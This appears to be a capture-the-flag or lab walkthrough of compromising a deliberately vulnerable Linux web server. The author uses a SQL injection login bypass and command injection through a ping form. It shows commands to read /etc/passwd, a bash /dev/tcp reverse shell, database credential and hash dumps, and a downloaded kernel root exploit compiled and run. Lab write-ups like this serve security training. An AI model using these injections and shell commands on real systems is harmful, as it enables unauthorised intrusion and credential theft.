Again, I went for the webserver again (I don't hate webservers or something :)). This time I got to an interesting webpage (on L1 it was only a default HTML). It was a login page, and I tried a simple SQL injection - from the NMAP scan I knew the server is running mysql, so that helped. I used:

admin' OR 1=1 #

and it let me in, and I got a page, where I could execute ping command.

As the output of the command looked like a system output, I thought that I could append other commands to it, in order to execute arbitrary commands. It turned out that I was right, and I could read files, or even open a reverse shell back to my computer. Some nice tricks to get rshell:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Commands used on the page:

192.168.1.1;cat /etc/passwd

192.168.1.1;bash -i >& /dev/tcp/192.168.1.17/4444 0>&1

After getting a shell on the victim, I saw that I was running with "apache" privileges.

root@kali:~# nc -lvvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.19] 32771
bash: no job control in this shellbash-3.00$
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ pwd
/var/www/html
bash-3.00$ uname -r
2.6.9-55.EL

Before I got root, I did some enumeration (most important!!!), and could reveal some interesting stuff - it didn't lead to a root account, but still was good.

From the webpage source I could retrieve a myslq login password:

bash-3.00$ cat index.php
<?php
    mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());

(...)

I could login to mysql, but my shell, wasn't fully interactive, so I executed a one line python script in order to make it fully interactive:

python -c 'import pty;pty.spawn("/bin/sh")'

bash-3.00$ python -c 'import pty;pty.spawn("/bin/sh")'
sh-3.00$ mysql -u john -p
mysql -u john -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 22969 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

mysql> select * from user;
select * from user;
+-----------------------+------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+
| Host                  | User | Password         | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections |
+-----------------------+------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+
| localhost             | root | 5a6914ba69e02807 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                |          |            |             |              |             0 |           0 |               0 |
| localhost.localdomain | root | 5a6914ba69e02807 | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                |          |            |             |              |             0 |           0 |               0 |
| localhost.localdomain |      |                  | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                |          |            |             |              |             0 |           0 |               0 |
| localhost             |      |                  | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                |          |            |             |              |             0 |           0 |               0 |
| localhost             | john | 5a6914ba69e02807 | Y           | Y           | Y           | Y           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                |          |            |             |              |             0 |           0 |               0 |
+-----------------------+------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+
5 rows in set (0.00 sec)

mysql> exit
exit
Bye
sh-3.00$ mysql -u root -p
mysql -u root -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 22971 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

As you can see above I could query the mysql user table. The password hash for root and john are the same, so knowing the password for john already gave me the root pw for the database.

This is nice, but I'm still not root (at least not on the system). After looking on the Linuy kernel version and making a quick Google search gave the exploit in first hit:

Linux Kernel 2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit

http://www.exploit-db.com/exploits/9542/

After downloading I copied it to the victim with wget, compiled and finally run it, and again, I got root.

sh-3.00$ uname -r

uname -r

2.6.9-55.EL

sh-3.00$ wget http://192.168.1.17/0x82-CVE-2009-2698.c

wget http://192.168.1.17/0x82-CVE-2009-2698.c

--01:33:26--  http://192.168.1.17/0x82-CVE-2009-2698.c

           => `0x82-CVE-2009-2698.c'

Connecting to 192.168.1.17:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 2,645 (2.6K) [text/x-csrc]

100%[====================================>] 2,645         --.--K/s            

01:33:26 (813.29 KB/s) - `0x82-CVE-2009-2698.c' saved [2645/2645]

sh-3.00$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698

gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698

sh-3.00# id

id

uid=0(root) gid=0(root) groups=48(apache)

I found this level more interesting, because of the special web application.